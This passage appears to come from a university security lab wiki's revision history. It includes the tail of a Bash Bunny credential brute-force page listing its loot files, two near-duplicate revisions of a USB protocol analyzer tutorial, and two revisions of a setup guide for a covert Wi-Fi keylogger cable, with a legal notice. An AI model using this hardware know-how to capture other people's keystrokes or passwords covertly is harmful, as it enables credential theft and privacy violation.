&emsp;6. After toggling the screen should lock up.

== Result ==

In Bash Bunnys “loot”-folder the output of the attack could be found after the attack.
Following files can be found:

* log.txt --> Can be used for troubleshooting/debugging.
* msfconsole.txt --> The non- and matching events of users to passwords on target host will displayed in this textfile.
* nmap_ results.txt --> Here the output of the nmap-scan is shown.
* password.txt --> All matching passwords are saved in this text file.
* user.txt --> All matching users are saved in this text file.

== References ==

* https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/credentials/Jackalope
* https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/scanner/smb/smb_login
* https://frameboxxindore.com/windows/you-asked-how-do-i-open-port-445-on-windows-10.html
* https://support.microsoft.com/en-us/windows/turn-off-defender-antivirus-protection-in-windows-security-99e6004f-c54c-8509-773c-a4d776b77960
* https://wiki.bashbunny.com/#!index.md#Tools
* https://docs.hak5.org/bash-bunny/writing-payloads/led

File:BashBunny status.PNG

2022-06-28T17:03:58Z

EPelanovic:

Beagle USB 12 Protocol Analyzer: Test

2022-06-28T15:23:46Z

EPelanovic:

== Summary ==

The Beagle USB 12 Protocol Analyzer is a nice tool to setup it quick and ease and allows engineers to debug problems quickly. You can capture, display and filter high-, full- and low-speed USB traffic in real time.

[[File:Beagle_Analyzer_Front.jpg|400px|thumb|none|Beagle USB 12 Protocol Analyzer]]

In the front of the analyzer there are the target host and target device ports.
They act as a passthrough to connect the target device to the host computer.

[[File:Beagle Back.jpg|400px|thumb|none|Beagle USB 12 Protocol Analyzer]]

== Requirements ==

To be able to monitor the USB traffic you will need a software that captures and displays USB, USB Type-C Power Delivery, I2C, SPI, eSPI and CAN bus data through the Beagle. To download it from the Totalphase website you will need to create an account. This does not come with any subscription or cost factor.
You can [https://www.totalphase.com/products/data-center/?___ Download] the Data Center Software for following architectures:

* Windows
* Linux
* MacOS

If you are using a Windows or a Linux host, it is also important to download the appropriate drivers since without them Windows will not recognize the analyzer:

* Windows [https://www.totalphase.com/products/usb-drivers-windows/ (here)]
* Linux [https://www.totalphase.com/products/usb-drivers-linux/ (here)]

MacOS do not require any driver.
For more details like, key features, technical specifications or software requirements follow this [https://www.totalphase.com/products/beagle-usb12/ link].

== Description ==

With the type B USB cable connect the target host port at the front of the analyzer with your PCs USB port type A.
The analyzis port at the backside of the analyzer is connected with another type B USB connector to your PCs USB port type A.
Lastly you can then plug in your target device into the USB port type A of the analyzer.

=== Hands-On ===

To capture traffic, click in the top toolbar at “Analyzer” and then on “Connect to Analyzer”. Confirm that the correct device is selected and click “OK”.

[[File:Connect to Analyzer.png|800px|thumb|none|]]

You can then connect the USB target device (for example a mouse) to the analyzer. After clicking on the play-button, we should then see all the packet data in real-time.

[[File:Data Center Capture 1.png|800px|thumb|none|]]

We can see that some interesting parameters like speed, timestamp, endpoint address and the actual data were captured. The captured data has been decoded into human readable messages.
At the beginning we can see the handshake between the computer and the connected device.
We can double-click on any packet to see the low-level data and the corresponding details, which are shown in hexadecimal and ASCII. A mouse click is symbolized by a field named “Btns=[1]”.

[[File:Data Center Capture 2.png|800px|thumb|none|]]

It should be now possible to click on the bottom of the Navigator at “LiveFilter” to filter for those events. This should be possible by entering “btns=[1]” in the text field. Apply the filter and all “click”-mouse events are shown. This should be possible for every kind of patterns, endpoint addresses, and more.

[[File:Data Center Capture 3.png|800px|thumb|none|]]

By turning off scrolling and disabling the filter, we can see all the data that occurred before and after the events.
You can also connect a USB hub to the analyzer and plug in multiple USB devices. All devices with their assigned addresses will be shown under the navigator in the Data Center software.

[[File:Data Center Capture 4.png|800px|thumb|none|]]

You can also find a lot of already captured examples under “Help”, “Examples”:

[[File:Data Center Example Captures.png|800px|thumb|none|]]

The protocol analyzer can therefore be very helpful for debugging errors or for forensic analysis, for example.

== References ==

* https://www.totalphase.com

Beagle USB 12 Protocol Analyzer: Test

2022-06-28T15:22:59Z

EPelanovic:

== Summary ==

The Beagle USB 12 Protocol Analyzer is a nice tool to setup it quick and ease and allows engineers to debug problems quickly. You can capture, display and filter high-, full- and low-speed USB traffic in real time.

[[File:Beagle_Analyzer_Front.jpg|400px|thumb|none|Beagle USB 12 Protocol Analyzer]]

In the front of the analyzer there are the target host and target device ports.
They act as a passthrough to connect the target device to the host computer.

[[File:Beagle Back.jpg|400px|thumb|none|Beagle USB 12 Protocol Analyzer]]

== Requirements ==

To be able to monitor the USB traffic you will need a software that captures and displays USB, USB Type-C Power Delivery, I2C, SPI, eSPI and CAN bus data through the Beagle. To download it from the Totalphase website you will need to create an account. This does not come with any subscription or cost factor.
You can [https://www.totalphase.com/products/data-center/?___ Download] the Data Center Software for following architectures:

* Windows
* Linux
* MacOS

If you are using a Windows or a Linux host, it is also important to download the appropriate drivers since without them Windows will not recognize the analyzer:

* Windows [https://www.totalphase.com/products/usb-drivers-windows/ (here)]
* Linux [https://www.totalphase.com/products/usb-drivers-linux/ (here)]

MacOS do not require any driver.
For more details like, key features, technical specifications or software requirements follow this [https://www.totalphase.com/products/beagle-usb12/ link].

== Description ==

With the type B USB cable connect the target host port at the front of the analyzer with your PCs USB port type A.
The analyzis port at the backside of the analyzer is connected with another type B USB connector to your PCs USB port type A.
Lastly you can then plug in your target device into the USB port type A of the analyzer.

=== Hands-On ===

To capture traffic, click in the top toolbar at “Analyzer” and then on “Connect to Analyzer”. Confirm that the correct device is selected and click “OK”.

[[File:Connect to Analyzer.png|800px|thumb|center|]]

You can then connect the USB target device (for example a mouse) to the analyzer. After clicking on the play-button, we should then see all the packet data in real-time.

[[File:Data Center Capture 1.png|800px|thumb|center|]]

We can see that some interesting parameters like speed, timestamp, endpoint address and the actual data were captured. The captured data has been decoded into human readable messages.
At the beginning we can see the handshake between the computer and the connected device.
We can double-click on any packet to see the low-level data and the corresponding details, which are shown in hexadecimal and ASCII. A mouse click is symbolized by a field named “Btns=[1]”.

[[File:Data Center Capture 2.png|800px|thumb|center|]]

It should be now possible to click on the bottom of the Navigator at “LiveFilter” to filter for those events. This should be possible by entering “btns=[1]” in the text field. Apply the filter and all “click”-mouse events are shown. This should be possible for every kind of patterns, endpoint addresses, and more.

[[File:Data Center Capture 3.png|800px|thumb|center|]]

By turning off scrolling and disabling the filter, we can see all the data that occurred before and after the events.
You can also connect a USB hub to the analyzer and plug in multiple USB devices. All devices with their assigned addresses will be shown under the navigator in the Data Center software.

[[File:Data Center Capture 4.png|800px|thumb|center|]]

You can also find a lot of already captured examples under “Help”, “Examples”:

[[File:Data Center Example Captures.png|800px|thumb|center|]]

The protocol analyzer can therefore be very helpful for debugging errors or for forensic analysis, for example.

== References ==

* https://www.totalphase.com

AirDrive Forensic Keylogger Cable

2022-06-28T15:21:02Z

EPelanovic:

[[File:AirDrive Forensic Keylogger Cable.PNG|250px|thumb|right|AirDrive Forensic Keylogger Cable]]

== Summary ==

This keylogger is one with WiFi access and a minimized risk of detection. The USB keylogger module is hidden in a USB extension cable. Externally, the USB cable does not differ from conventional cables.

The AirDrive Forensic Keylogger Module which was built into the cable is an ultra-small USB keylogger module designed for installation in a USB keyboard. The small size makes it easy to install in any USB keyboard. This is available as standard and pro version.
Exact information can be found [https://www.keelog.com/de/forensic-keylogger/ here]. A video with detailed installation instructions can be found [https://www.youtube.com/watch?v=7AUssrySD2I here].

[[File:AirDrive Forensic Keylogger Module.PNG|250px|thumb|right|AirDrive Forensic Keylogger Module]]

== Characteristics ==

* Stores input from any USB keyboard
* 16MB internal flash memory
* Undetectable by security software
* Supports over 40 national keyboard layouts
* Compatible with barcode readers
* Works as a wireless Wi-Fi hotspot
* Connect from any computer, smartphone or tablet
* Data access via web browser
* Remote data retrieval without touching the device
* Supports WEP, WPA and WPA-2 network security
* Memory secured by hardware encryption

== Description ==

The AirDrive cable acts as a Wi-Fi hotspot. This means that the cable can establish a Wi-Fi connection with any Wi-Fi device (smartphone, tablet or laptop). The selected Wi-Fi device can then connect to the interface with the data protocol. There, there is the possibility to set configurations, such as the WLAN settings of the WLAN access point and the options for logging the keyboard strokes. Over 40 national keyboard layouts, including the world's most popular languages and keyboard layouts, are supported. Installation requires no additional software or drivers.

=== Hands-On ===

1. Connect the USB keylogger cable to the external keyboard and the target host. 2.

2. Connect your smartphone, tablet or computer to the Wi-Fi network "AIR_XXYYZZ", where "XXYYZZ" is the device ID of the USB cable. 3.

3. You can then use any web browser to access the interface under the IP "192.168.4.1".

[[File:Webinterface 1.PNG|800px|thumb|none|]]

4. Open the settings to configure the keylogger cable. Various configurations can be made there:

[[File:Webinterface 2.PNG|800px|thumb|none|]]

[[File:Webinterface 3.PNG|800px|thumb|none|]]

[[File:Webinterface 4.PNG|800px|thumb|none|]]

To apply the settings, click on "Save data logging settings" and/or on “Save Access Point settings”.

5. Since this is not a "Pro" device, there are no advanced settings available. Features like an internet connection via the access point, timestamps, reporting via email and data streaming can be set via this sub-menu.

6. However, we can download the "Data Log" under the "Download" button, which can be several pages long.

7. With a click on "Data Log" we can observe what is typed on the external keyboard.

'''Example of a Data Log'''

In the following you can see a screenshot of a typical user logon process on the portal of the FH Campus Wien.

[[File:Webinterface 5.PNG|800px|thumb|none|]]

=== Important Legal Notice [1] ===

The usage of a keylogger is fully legal as long as a clear notice is displayed, informing the user of the monitored equipment about the presence of a keystroke logger. We encourage the use of this equipment only for the purpose of monitoring your own computer, especially for protecting children against online hazards. It is NOT LEGAL to use a keylogger for the purpose of intercepting third party data, especially passwords, banking data, confidential correspondence, etc. If in doubt, please seek legal advice before using a keystroke logger. A good starting point is the U.S. Department of Justice Letter on Keystroke Monitoring and Login Banners, according to which a clear notice should be displayed, warning that user keystrokes may be logged.

[[File:This PC is monitored.PNG|300px|thumb|none|]]

== References ==

* https://www.keelog.com/de/forensic-keylogger/
* https://www.keelog.com/airdrive-keylogger-max-premium-usb-hardware-keylogger-with-wifi-and-flash-email-and-live-data-transfer/

AirDrive Forensic Keylogger Cable

2022-06-28T15:20:27Z

EPelanovic: Created page with "AirDrive Forensic Keylogger Cable == Summary == This keylogger is one with WiFi access and a minimized risk of detection. The USB keylogger module is hidden in a USB extension cable. Externally, the USB cable does not differ from conventional cables. The AirDrive Forensic Keylogger Module which was built into the cable is an ultra-small USB keylogger module designed for installation in a USB keyboard...."

[[File:AirDrive Forensic Keylogger Cable.PNG|250px|thumb|right|AirDrive Forensic Keylogger Cable]]

== Summary ==

This keylogger is one with WiFi access and a minimized risk of detection. The USB keylogger module is hidden in a USB extension cable. Externally, the USB cable does not differ from conventional cables.

The AirDrive Forensic Keylogger Module which was built into the cable is an ultra-small USB keylogger module designed for installation in a USB keyboard. The small size makes it easy to install in any USB keyboard. This is available as standard and pro version.
Exact information can be found [https://www.keelog.com/de/forensic-keylogger/ here]. A video with detailed installation instructions can be found [https://www.youtube.com/watch?v=7AUssrySD2I here].

[[File:AirDrive Forensic Keylogger Module.PNG|250px|thumb|right|AirDrive Forensic Keylogger Module]]

== Characteristics ==

* Stores input from any USB keyboard
* 16MB internal flash memory
* Undetectable by security software
* Supports over 40 national keyboard layouts
* Compatible with barcode readers
* Works as a wireless Wi-Fi hotspot
* Connect from any computer, smartphone or tablet
* Data access via web browser
* Remote data retrieval without touching the device
* Supports WEP, WPA and WPA-2 network security
* Memory secured by hardware encryption

== Description ==

The AirDrive cable acts as a Wi-Fi hotspot. This means that the cable can establish a Wi-Fi connection with any Wi-Fi device (smartphone, tablet or laptop). The selected Wi-Fi device can then connect to the interface with the data protocol. There, there is the possibility to set configurations, such as the WLAN settings of the WLAN access point and the options for logging the keyboard strokes. Over 40 national keyboard layouts, including the world's most popular languages and keyboard layouts, are supported. Installation requires no additional software or drivers.

=== Hands-On ===

1. Connect the USB keylogger cable to the external keyboard and the target host. 2.

2. Connect your smartphone, tablet or computer to the Wi-Fi network "AIR_XXYYZZ", where "XXYYZZ" is the device ID of the USB cable. 3.

3. You can then use any web browser to access the interface under the IP "192.168.4.1".

[[File:Webinterface 1.PNG|800px|thumb|none|]]

4. Open the settings to configure the keylogger cable. Various configurations can be made there:

[[File:Webinterface 2.PNG|800px|thumb|none|]]

[[File:Webinterface 3.PNG|800px|thumb|none|]]

[[File:Webinterface 4.PNG|800px|thumb|none|]]

To apply the settings, click on "Save data logging settings" and/or on “Save Access Point settings”.

5. Since this is not a "Pro" device, there are no advanced settings available. Features like an internet connection via the access point, timestamps, reporting via email and data streaming can be set via this sub-menu.

6. However, we can download the "Data Log" under the "Download" button, which can be several pages long.

7. With a click on "Data Log" we can observe what is typed on the external keyboard.

'''Example of a Data Log'''

In the following you can see a screenshot of a typical user logon process on the portal of the FH Campus Wien.

[[File:Webinterface 5.PNG|800px|thumb|none|]]

=== Important Legal Notice [1] ===

The usage of a keylogger is fully legal as long as a clear notice is displayed, informing the user of the monitored equipment about the presence of a keystroke logger. We encourage the use of this equipment only for the purpose of monitoring your own computer, especially for protecting children against online hazards. It is NOT LEGAL to use a keylogger for the purpose of intercepting third party data, especially passwords, banking data, confidential correspondence, etc. If in doubt, please seek legal advice before using a keystroke logger. A good starting point is the U.S. Department of Justice Letter on Keystroke Monitoring and Login Banners, according to which a clear notice should be displayed, warning that user keystrokes may be logged.

[[File:This PC is monitored.PNG|600px|thumb|none|]]

== References ==

* https://www.keelog.com/de/forensic-keylogger/
* https://www.keelog.com/airdrive-keylogger-max-premium-usb-hardware-keylogger-with-wifi-and-flash-email-and-live-data-transfer/